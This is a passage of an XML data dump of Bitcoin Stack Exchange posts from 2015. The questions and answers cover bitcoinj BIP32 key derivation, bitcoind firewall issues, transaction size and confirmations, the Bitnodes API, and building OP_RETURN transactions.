com.suredbits.core.bitcoin.WalletTest$$anonfun$2.apply$mcV$sp(WalletTest.scala:84)&#xA;    at com.suredbits.core.bitcoin.WalletTest$$anonfun$2.apply(WalletTest.scala:80)&#xA;    at com.suredbits.core.bitcoin.WalletTest$$anonfun$2.apply(WalletTest.scala:80)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not sure why this isn't working, as &lt;code&gt;bitcoinj&lt;/code&gt; supports BIP32. Can anyone spot what I am doing incorrectly?&lt;/p&gt;&#xA;" OwnerUserId="20835" LastEditorUserId="5406" LastEditDate="2016-01-11T08:51:25.863" LastActivityDate="2016-07-09T11:54:00.793" Title="Creating a Deterministic Keychain from BIP32 master public key" Tags="|bitcoinj|bip32-hd-wallets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37426" PostTypeId="2" ParentId="37425" CreationDate="2015-05-15T21:21:39.877" Score="1" Body="&lt;p&gt;It looks like you're trying to get a key from a seed, rather than deriving a key using a path. This uses the default derivation settings, which attempt to derive a hardened key, which can't be done using an extended public key.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try an explicit, non-hardened derivation instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;val xpub = &quot;xpub661MyMwAqRbcGiwzoCu93MuL6H91qANYUoYBwD4xSH8bRKJVNXsP1FUnNYiWUiu4trHbs3tavhbr4ih9bwNeVBmdQAnrA5SwSEVVCFza8dy&quot;&#xA;val keyChainSeed : DeterministicKey =  DeterministicKey.deserializeB58(null,xpub, MainNetParams.get)&#xA;DeterministicKey key = HDKeyDerivation.deriveChildKey(&#xA;         keyChainSeed, new ChildNumber(0, false));&#xA;val w = Wallet.fromWatchingKey(MainNetParams.get, key);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;P.S. You should read the &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP32 spec&lt;/a&gt; if you haven't already.&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-05-15T21:21:39.877" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37427" PostTypeId="2" ParentId="37411" CreationDate="2015-05-16T09:15:48.767" Score="1" Body="&lt;p&gt;This is very likely to be a Firewall problem. &#xA;The &quot;sendto: operation not permitted&quot; is the typical message you get from an iptables reject&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i never run a full bitcoind myself but looking at the documentation you need port &lt;strong&gt;tcp:8333&lt;/strong&gt; inbound and , i guess, at least &lt;strong&gt;HTTP and HTTPS&lt;/strong&gt; outbound ... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;check your firewall with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;iptables -L -n&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if the firewall is running, just to confirm you might try to stop the firewall and see if it fixes your problem. &lt;/p&gt;&#xA;" OwnerUserId="26504" LastActivityDate="2015-05-16T09:15:48.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37430" PostTypeId="1" CreationDate="2015-05-16T09:56:51.500" Score="2" ViewCount="2615" Body="&lt;p&gt;Is there an estimate on how many people in total own some cryptocurrencies? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is this distributed among bitcoin and altcoins?&lt;/p&gt;&#xA;" OwnerUserId="14319" LastEditorUserId="5406" LastEditDate="2015-05-18T09:51:15.630" LastActivityDate="2015-05-18T09:51:15.630" Title="How many people own crypto currencies?" Tags="|adoption|user-base|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="37431" PostTypeId="2" ParentId="37430" CreationDate="2015-05-16T13:44:38.470" Score="3" Body="&lt;p&gt;As Luca mentioned it is really difficult to measure, but there is a way to &lt;strong&gt;map Bitcoin addresses to IP address&lt;/strong&gt; under certain conditions.&#xA;Refer this paper&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Title :&lt;/strong&gt; &lt;em&gt;An Analysis of Anonymity in Bitcoin using P2P Network Traffic.&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Authors :&lt;/strong&gt; Philip Koshy, Diana Koshy, and Patrick McDaniel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: It analyses relay pattern of transactions. It cannot analyse transactions that are already confirmed in blocks.&lt;/em&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some companies publicly disclose their data and it might be possible to come up with a ballpark estimate.  Blockchain.info shares &lt;a href=&quot;https://blockchain.info/charts/my-wallet-n-users&quot; rel=&quot;nofollow&quot;&gt;the number of wallets used&lt;/a&gt; in their My Wallet service.&lt;/p&gt;&#xA;" OwnerUserId="19374" LastEditorUserId="6375" LastEditDate="2015-05-16T19:00:09.150" LastActivityDate="2015-05-16T19:00:09.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37432" PostTypeId="2" ParentId="37430" CreationDate="2015-05-16T14:13:04.357" Score="1" Body="&lt;p&gt;It is next to impossible to estimate. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider this scenario:&#xA;You live in a deserted place with just phones/post offices. Using just pen &amp;amp; paper/calculator you derive a fresh new bitcoin address and its private key. You call any of your friends, who could be anywhere in the world, who have internet and you give them this address. They make a transaction sending satoshis worth buying milk and relay it to the network. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could then go give away your privatekey to a milkman for buying milk. If he doubts you he can call any of his friends in the world who have internet and can confirm that that address holds balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You and the milkman are untraceable unless your friends decide to give you up. No technology can do it. Well, maybe some neuro-tech can scan their brains but ..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could travel across borders holding my money in my mind.&lt;/p&gt;&#xA;" OwnerUserId="25114" LastActivityDate="2015-05-16T14:13:04.357" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37433" PostTypeId="2" ParentId="37419" CreationDate="2015-05-16T18:00:29.213" Score="0" Body="&lt;p&gt;The correct netcode must be given in the bitcoin_address function if it differs from the default bitcoin network.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tx_out.bitcoin_address(netcode='XTN')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26419" LastActivityDate="2015-05-16T18:00:29.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37434" PostTypeId="1" AcceptedAnswerId="37464" CreationDate="2015-05-16T19:16:56.210" Score="1" ViewCount="474" Body="&lt;p&gt;From Bitcoin Core's &lt;a href=&quot;https://github.com/bitcoin/bitcoin/tree/master/src/test&quot; rel=&quot;nofollow&quot;&gt;test directory&lt;/a&gt; (&lt;code&gt;bitcoin/src/test&lt;/code&gt;), the executable &lt;code&gt;test_bitcoin&lt;/code&gt; is supposed to run the unit tests. When I run &lt;code&gt;test_bitcoin&lt;/code&gt;, however, I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;replication requires locking support&#xA;Test setup error: std::runtime_error: CDBEnv::MakeMock : Error 22 opening database environment.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I run &lt;code&gt;test_bitcoin&lt;/code&gt;? I installed Bitcoin from source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Also&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran &lt;code&gt;configure&lt;/code&gt; using the &lt;code&gt;--with-incompatible-bdb&lt;/code&gt; flag.&lt;/p&gt;&#xA;" OwnerUserId="13411" LastEditorUserId="13411" LastEditDate="2015-05-16T19:24:21.313" LastActivityDate="2015-05-19T08:22:03.070" Title="Trouble running bitcoin unit tests with test_bitcoin on Ubuntu" Tags="|ubuntu|bitcoin-core-development|testing|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="37435" PostTypeId="1" AcceptedAnswerId="37436" CreationDate="2015-05-16T20:17:15.243" Score="1" ViewCount="571" Body="&lt;p&gt;Suppose I have a signed hex encoded transaction (as returned by RPC call  signrawtransaction), how to get the size, in bytes, for purpuses of calculating if included transaction fee is acceptable by the official client? Can I simply get the size in bytes of the hexadecimal decoded to binary?&lt;/p&gt;&#xA;" OwnerUserId="23378" LastActivityDate="2015-06-16T01:25:01.887" Title="How to calculate the transaction size from the signed hex encoded?" Tags="|json-rpc|transaction-fees|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37436" PostTypeId="2" ParentId="37435" CreationDate="2015-05-17T01:15:47.047" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Can I simply get the size in bytes of the hexadecimal decoded to binary?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes. The hex encodes the raw bytes of the transaction that will be broadcasted throughout the network. Assuming the transaction is fully signed and ready to be broadcasted, the size is the number of bytes, or the length of the string divided by 2. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-05-17T01:15:47.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37438" PostTypeId="2" ParentId="37430" CreationDate="2015-05-17T02:32:34.040" Score="1" Body="&lt;p&gt;As of Today, &lt;strong&gt;BlockChain's&lt;/strong&gt; MyWallet has about &lt;strong&gt;3.75M&lt;/strong&gt; users. Adding this with &lt;strong&gt;CoinBase's&lt;/strong&gt; user base of &lt;strong&gt;2M&lt;/strong&gt; and &lt;strong&gt;Multibit's&lt;/strong&gt; &lt;strong&gt;1.5M&lt;/strong&gt;. That makes about &lt;strong&gt;7.25M&lt;/strong&gt; Bitcoin users. Note that actual number of users may be much above this figure as you can figure out all that is needed to encrypt the data is &lt;em&gt;just a &lt;strong&gt;key&lt;/em&gt;&lt;/strong&gt;!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7XE0G.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="26513" LastActivityDate="2015-05-17T02:32:34.040" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37442" PostTypeId="1" AcceptedAnswerId="37444" CreationDate="2015-05-17T19:59:25.350" Score="1" ViewCount="347" Body="&lt;p&gt;How quick does a bitcoin transaction happen? (assuming that both parties are online at the time)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read somewhere on the Internet that it's not recommended to accept a bitcoin payment right away (better to wait for a dozen or so confirmations/verification).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this? and how does it affect the time it takes for the transaction to be completed?&lt;/p&gt;&#xA;" OwnerUserId="26522" LastActivityDate="2015-05-18T16:19:17.310" Title="How instantaneous is a Bitcoin transaction?" Tags="|transactions|verification|transaction-verification|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37444" PostTypeId="2" ParentId="37442" CreationDate="2015-05-17T21:02:57.693" Score="1" Body="&lt;p&gt;Bitcoin transactions are saved in a ledger. There needs to be a way for everyone to agree on the same ledger. In bitcoin this is done by making sure that the only valid ledger is the one where more computing power was put into it to &quot;generate it&quot;. There's a lot of other details, where the ledger is actually a block chain, but overall the idea is that of &quot;the most computing power&quot; is the rule behind how nodes accept the main ledger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this in mind, it still could happen that someone with a large amount of computing power may create a ledger that replaces the one that is currently accepted by the network. Because of how the block chain works, this is exponentially harder to do for every block in the ledger that is generated/found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to answer your question to &quot;why is it that we need to wait for 5-6 confirmations&quot;, it's because a malicious party with lots of computing power could hypothetically replace the latest 2 blocks or so. But, to replace the latest 5 or 6 blocks it becomes so hard that it's virtually impossible for it to happen. Therefore, a transaction without any confirmations is &quot;less secure&quot; than a transaction with 5 confirmations. The more the confirmations, the more secure a transaction is.&lt;/p&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2015-05-17T21:02:57.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37446" PostTypeId="1" CreationDate="2015-05-17T22:22:05.060" Score="4" ViewCount="574" Body="&lt;p&gt;I just started running a full node and was wondering how to use these commands to verify my node: &lt;a href=&quot;https://getaddr.bitnodes.io/api/&quot; rel=&quot;nofollow&quot;&gt;https://getaddr.bitnodes.io/api/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, what command line or IDE do I need to type these commands into? Very new at this, sorry&lt;/p&gt;&#xA;" OwnerUserId="26527" LastEditorUserId="47827" LastEditDate="2022-12-11T14:29:10.387" LastActivityDate="2022-12-11T14:29:10.387" Title="How do I use Bitnode API?" Tags="|api|nodes|bitnodes|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37447" PostTypeId="1" AcceptedAnswerId="37451" CreationDate="2015-05-17T22:32:03.353" Score="2" ViewCount="2094" Body="&lt;p&gt;First off, I am rather new to Bitcoins — will be obvious after I asked my question I guess. I have read some theory about it, like it's a distributed crypto-currency based on the Bit Torrent protocol, but I still have some difficulty putting everything together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have freshly installed Android &lt;a href=&quot;https://play.google.com/store/apps/details?id=de.schildbach.wallet&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Wallet&lt;/a&gt; on my phone, just wanted to start somewhere. I opened the preferences and I see I have two addresses without a label — which I guess &lt;em&gt;I&lt;/em&gt; shall define. My first question is : why are there &lt;strong&gt;two&lt;/strong&gt; addresses?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand an address is like an SSH &lt;strike&gt;private&lt;/strike&gt; &lt;em&gt;public&lt;/em&gt; (&lt;strong&gt;EDIT&lt;/strong&gt;: sorry for the confusion, seems obvious indeed) key and I think I understood it's best to have one address for my phone, one for my computer... whatever. Since I read an address shall be a &lt;a href=&quot;https://en.bitcoin.it/wiki/Address#A_Bitcoin_address_is_a_single-use_token&quot; rel=&quot;nofollow&quot;&gt;single-use token&lt;/a&gt;, is one of them for &lt;em&gt;giving&lt;/em&gt; and the other for &lt;em&gt;receiving&lt;/em&gt; bitcoins?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since an address is a single use token does that mean I should create an address each time I want to pay using bitcoins? What about receiving bitcoins then? How do people send bitcoins if change my addresses constantly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And what if I delete an address? Will it have an effect on bitcoins I'd eventually &quot;collected&quot;?&lt;/p&gt;&#xA;" OwnerUserId="26528" LastEditorUserId="26528" LastEditDate="2015-05-20T20:15:37.333" LastActivityDate="2017-12-17T14:47:04.797" Title="Android Bitcoin Wallet freshly installed, two addresses. Why two?" Tags="|wallet|address|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37448" PostTypeId="2" ParentId="37446" CreationDate="2015-05-18T02:24:49.677" Score="3" Body="&lt;p&gt;If you are on MacOS or Linux use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl https://getaddr.bitnodes.io/api/v1/nodes/SERVER-ADDRESS/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in Terminal or &lt;a href=&quot;https://www.iterm2.com/&quot; rel=&quot;nofollow&quot;&gt;iTerm2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl https://getaddr.bitnodes.io/api/v1/nodes/107.3.158.6-8333/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will return to you&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;detail&quot;: &quot;Not found&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;because it's not a running node address and port&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl https://getaddr.bitnodes.io/api/v1/nodes/80.56.212.9-8333/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will return to you&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&quot;status&quot;: &quot;UP&quot;, &quot;data&quot;: [70002, &quot;/Satoshi:0.10.0/&quot;, 1431732528, 1, 356844, &quot;f212009.upc-f.chello.nl&quot;, null, &quot;NL&quot;, 52.3667, 4.9, &quot;Europe/Amsterdam&quot;, &quot;AS6830&quot;, &quot;Liberty Global Operations B.V.&quot;], &quot;bitcoin_address&quot;: &quot;&quot;, &quot;url&quot;: &quot;&quot;, &quot;verified&quot;: false}r&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26327" LastActivityDate="2015-05-18T02:24:49.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37449" PostTypeId="2" ParentId="35958" CreationDate="2015-05-18T02:45:50.107" Score="3" Body="&lt;p&gt;I have forked the &lt;a href=&quot;https://github.com/vbuterin/pybitcointools&quot; rel=&quot;nofollow noreferrer&quot; title=&quot;pybitcointools&quot;&gt;pybitcointools library&lt;/a&gt; to return a properly formatted &lt;code&gt;OP_RETURN&lt;/code&gt; hex string, or insert the &lt;code&gt;OP_RETURN&lt;/code&gt; into a raw hex transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/simcity4242/pybitcointools&quot; rel=&quot;nofollow noreferrer&quot;&gt;My fork can be found here&lt;/a&gt;. The code is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bitcoin.pyspecials import safe_hexlify, from_string_to_bytes, from_int_to_byte, from_string_to_bytes&#xA;&#xA;def mk_opreturn(msg, rawtx=None, json=0):&#xA;    def op_push(data):&#xA;        import struct&#xA;        if len(data) &amp;lt; 0x4c:&#xA;            return from_int_to_byte(len(data)) + from_string_to_bytes(data)&#xA;        elif len(data) &amp;lt; 0xff:&#xA;            return from_int_to_byte(76) + struct.pack('&amp;lt;B', len(data)) + from_string_to_bytes(data)&#xA;        elif len(data) &amp;lt; 0xffff:&#xA;            return from_int_to_byte(77) + struct.pack('&amp;lt;H', len(data)) + from_string_to_bytes(data)&#xA;        elif len(data) &amp;lt; 0xffffffff:&#xA;            return from_int_to_byte(78) + struct.pack('&amp;lt;I', len(data)) + from_string_to_bytes(data)&#xA;        else: raise Exception(&quot;Input data error. Rawtx must be hex chars&quot; \&#xA;                            + &quot;0xffffffff &amp;gt; len(data) &amp;gt; 0&quot;)&#xA;&#xA;    orhex = safe_hexlify(b'\x6a' + op_push(msg))&#xA;    orjson = {'script' : orhex, 'value' : 0}&#xA;    if rawtx is not None:&#xA;        try:&#xA;            txo = deserialize(rawtx)&#xA;            if not 'outs' in txo.keys(): raise Exception(&quot;OP_Return cannot be the sole output!&quot;)&#xA;            txo['outs'].append(orjson)&#xA;            newrawtx = serialize(txo)&#xA;            return newrawtx&#xA;        except:&#xA;            raise Exception(&quot;Raw Tx Error!&quot;)&#xA;    return orhex if not json else orjson&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that the module name has been changed to &lt;code&gt;btc&lt;/code&gt; (from &lt;code&gt;bitcoin&lt;/code&gt;) in my fork. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To run this, you'll use &lt;code&gt;os.chdir(&quot;c:/python/pybitcointools&quot;)&lt;/code&gt; (or whatever directory it's been downloaded to. Then &lt;code&gt;from bitcoin import *&lt;/code&gt;. Now, let's use &lt;code&gt;msg = 'The enemy of my enemy is my friend'&lt;/code&gt; and &lt;code&gt;rawtx = &quot;01000000016e3cd2b24fcf49259db29888ec5fe6521070041cb8c7bb2017537046f9e00f2b0000000000ffffffff0168d61100000000001976a91469bbbb16301e40b9fb67130e1aa53a2281d60af088ac00000000&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;mk_opreturn(msg, rawtx)&lt;/code&gt; returns: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;01000000016e3cd2b24fcf49259db29888ec5fe6521070041cb8c7bb2017537046f9e00f2b0000000000ffffffff0268d61100000000001976a91469bbbb16301e40b9fb67130e1aa53a2281d60af088ac0000000000000000246a2254686520656e656d79206f66206d7920656e656d79206973206d7920667269656e6400000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the raw Tx with the &lt;code&gt;OP_RETURN&lt;/code&gt; properly inserted. Run the function without the &lt;code&gt;rawtx&lt;/code&gt; parameter and it returns the string &lt;code&gt;6a2254686520656e656d79206f66206d7920656e656d79206973206d7920667269656e64&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="40967" LastEditDate="2017-06-22T20:47:39.837" LastActivityDate="2017-06-22T20:47:39.837" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37451" PostTypeId="2" ParentId="37447" CreationDate="2015-05-18T08:44:57.077" Score="0" Body="&lt;p&gt;You are asking multiple questions, which is not how this website works. Also: all of them have been answered several times already if you search a little. I'll try to answer some anyway, to take away some of your misconceptions, which should help you back on the right track.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Misconception: Bitcoin is not based on the BitTorrent protocol. It has nothing to do with it. Bitcoin uses a peer 2 peer network, BitTorrent does too. But neither were the first or are all that similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Misconception: An address is NOT like an SSH private key. An address is &quot;like&quot; a public key (not exactly, but that distinction is not important right now). An address is what you give to someone else to have them pay you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hidden inside the wallet is the private key or more precisely in current wallets: the Master key from which multiple private keys are generated. If you make a backup of your wallet (which you should do!) you will get to see that master key: it's simply a list of 12 or 24 English words.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The address is used to receive bitcoins. The private key is what you need to be able to spend them. But the private is pretty much invisible to you, you don't need to care as long as you have the Master key backed up (and protected!) properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Address re-use is very much discouraged, for privacy reasons. Once you &quot;use&quot; an address, the wallet will automatically prepare a new address for the next use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The specific wallet app you are using generates two addresses in advance to get you started.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think you can delete an address in this app.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible to have multiple devices use the same Master key, but it will mean that if one of those devices gets compromised and someone steals your Master key, you will lose ALL your money. It's probably better to keep things seperate until you're ready for more advanced setups. (multi-signature for example)&lt;/p&gt;&#xA;" OwnerUserId="5292" LastEditorUserId="5292" LastEditDate="2015-05-18T08:58:52.547" LastActivityDate="2015-05-18T08:58:52.547" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="37452" PostTypeId="1" CreationDate="2015-05-18T12:47:52.393" Score="-1" ViewCount="480" Body="&lt;p&gt;i want to build a bitcoin third party server for my client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but problem is that when i execute &quot;bitcoin-cli&quot; command using php then it didn't give any result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i used JSONRPCClient. but i didn't find any solution and how to use it can't understand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here i have to give &quot;user:password@127.0.0.1:8338&quot; . is this my pc user and password??? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;do i need bitcoin authentication for this? or give me some suggestion to make it live.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This script doesn't produce any output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once 'jsonRPCClient.php';&#xA;$bitcoin = new jsonRPCClient('http://bitcoinrpc:HGySbCZrdHq5BDQH3iwzb3oGZCJX8AfWe2EBQrNg9EvJ@127.0.0.1:8332/');&#xA;echo &quot;&amp;lt;pre&amp;gt;&quot;;&#xA;print_r($bitcoin);&#xA;echo &quot;&amp;lt;pre&amp;gt;\n fgfgf&quot;;&#xA;print_r($bitcoin-&amp;gt;getinfo());&#xA;echo &quot;&amp;lt;/pre&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26456" LastEditorUserId="2306" LastEditDate="2015-05-19T08:22:32.240" LastActivityDate="2015-05-19T15:29:20.353" Title="how to execute Ubuntu shell for bitcoind command in php?" Tags="|bitcoind|php|bitcoin-core|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="37453" PostTypeId="1" AcceptedAnswerId="37461" CreationDate="2015-05-18T15:31:02.983" Score="1" ViewCount="431" Body="&lt;pre&gt;&lt;code&gt;&amp;quot;C:\Users\Pompen\AppData\Roaming\MultiBit&amp;quot;.&#xA; &amp;quot;C:\Program Files\MultiBit-0.5.18&amp;quot;.&#xA;Unable to load blockchain &amp;quot;C:\Users\Pompen\AppData\Roaming\MultiBit\multibit.spvchain&amp;quot;. The error was &amp;quot;com.google.bitcoin.store.BlockStoreException Corrupted block store: could not find chain head: 0000000000000000139072ad82693ddc93b29fca541778907aced232b031072b&amp;quot;.&#xA;Opening wallet &amp;quot;C:\Users\Pompen\AppData\Roaming\MultiBit\multibit.wallet&amp;quot;...&#xA;... done&#xA;Opening wallet &amp;quot;C:\Users\Pompen\AppData\Roaming\MultiBit\Naamloos.wallet&amp;quot;...&#xA;... done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Then it shows these messages:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Starting blockchain replay from network...&lt;/p&gt;&#xA;&lt;p&gt;Replaying blockchain from date &amp;quot;7-May-2015&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Stopping Bitcoin network connection...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;And this error:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;**17:56:34.604 [SwingWorker-pool-2-thread-2] ERROR org.multibit.network.ReplayManager - Cannot download blockchain as there is no PeerGroup**&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26535" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-05-29T14:15:34.423" Title="Not possible to load the blockchain in multibit so can't pay or recieve either till it's loaded" Tags="|multibit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37454" PostTypeId="2" ParentId="37442" CreationDate="2015-05-18T16:19:17.310" Score="0" Body="&lt;p&gt;Both parties could be offline when the transaction is broadcast. The transaction is a public announcement that funds are moving, which is instant onces broadcast and propagated, and hence further spends are classed as a double spend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Confirmations are when a transaction starts to carry some weight, since it cannot readily be undone. In general waiting more confirmations is better, since if one miner accumulates a lot of hashrate, they have a greater probability of undoing the change. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hence, the number of confirmations to wait should be regarded as dynamic, I beleive 6 came from Satoshis estimation of the player only having 10% of the hashrate. &lt;/p&gt;&#xA;" OwnerUserId="11123" LastActivityDate="2015-05-18T16:19:17.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37455" PostTypeId="2" ParentId="36152" CreationDate="2015-05-18T16:22:30.487" Score="0" Body="&lt;p&gt;Bitcoin scriptSig's carry everything they need in order to satisfy the scriptPubKey that encumbers an output. As such they are regarded as stateless, ie, self contained. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever a signature needs to be verified, the public key is exposed in the script, giving other nodes what they need to validate the transaction.&lt;/p&gt;&#xA;" OwnerUserId="11123" LastActivityDate="2015-05-18T16:22:30.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37457" PostTypeId="1" AcceptedAnswerId="37460" CreationDate="2015-05-18T18:40:37.310" Score="1" ViewCount="175" Body="&lt;p&gt;Is extranonce ever necessary to find a block, e.g., in cases where exhausting the regular nonce range fails to block? Is this the rationale behind extranonce?&lt;/p&gt;&#xA;" OwnerUserId="4334" LastActivityDate="2015-05-18T19:23:46.477" Title="Is extranonce sometimes necessary for blocking?" Tags="|nonce|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37458" PostTypeId="1" AcceptedAnswerId="37462" CreationDate="2015-05-18T18:41:27.517" Score="-1" ViewCount="185" Body="&lt;p&gt;I'm trying to understand how &quot;invalidateblock&quot;-function works, literally line by line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since I'm at basic level in C++, I couldn't explain to myself what's the &quot;&amp;amp;&quot; after &quot;Array&quot; there to achieve though I know of references and pointers and though I've found out that it's a so called &quot;type modifier&quot;. Still I'm wondering &quot;Array&quot; is a type just like &quot;int&quot;, &quot;char&quot; etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where can I find more information on where Array is defined/explained?What are member functions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance! &lt;/p&gt;&#xA;" OwnerUserId="24556" LastActivityDate="2015-05-18T23:09:12.063" Title="&quot;Array&amp; params&quot;: How to understand &quot;&amp;&quot; after &quot;Array&quot; - type modifer?" Tags="|blockchain|c++|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
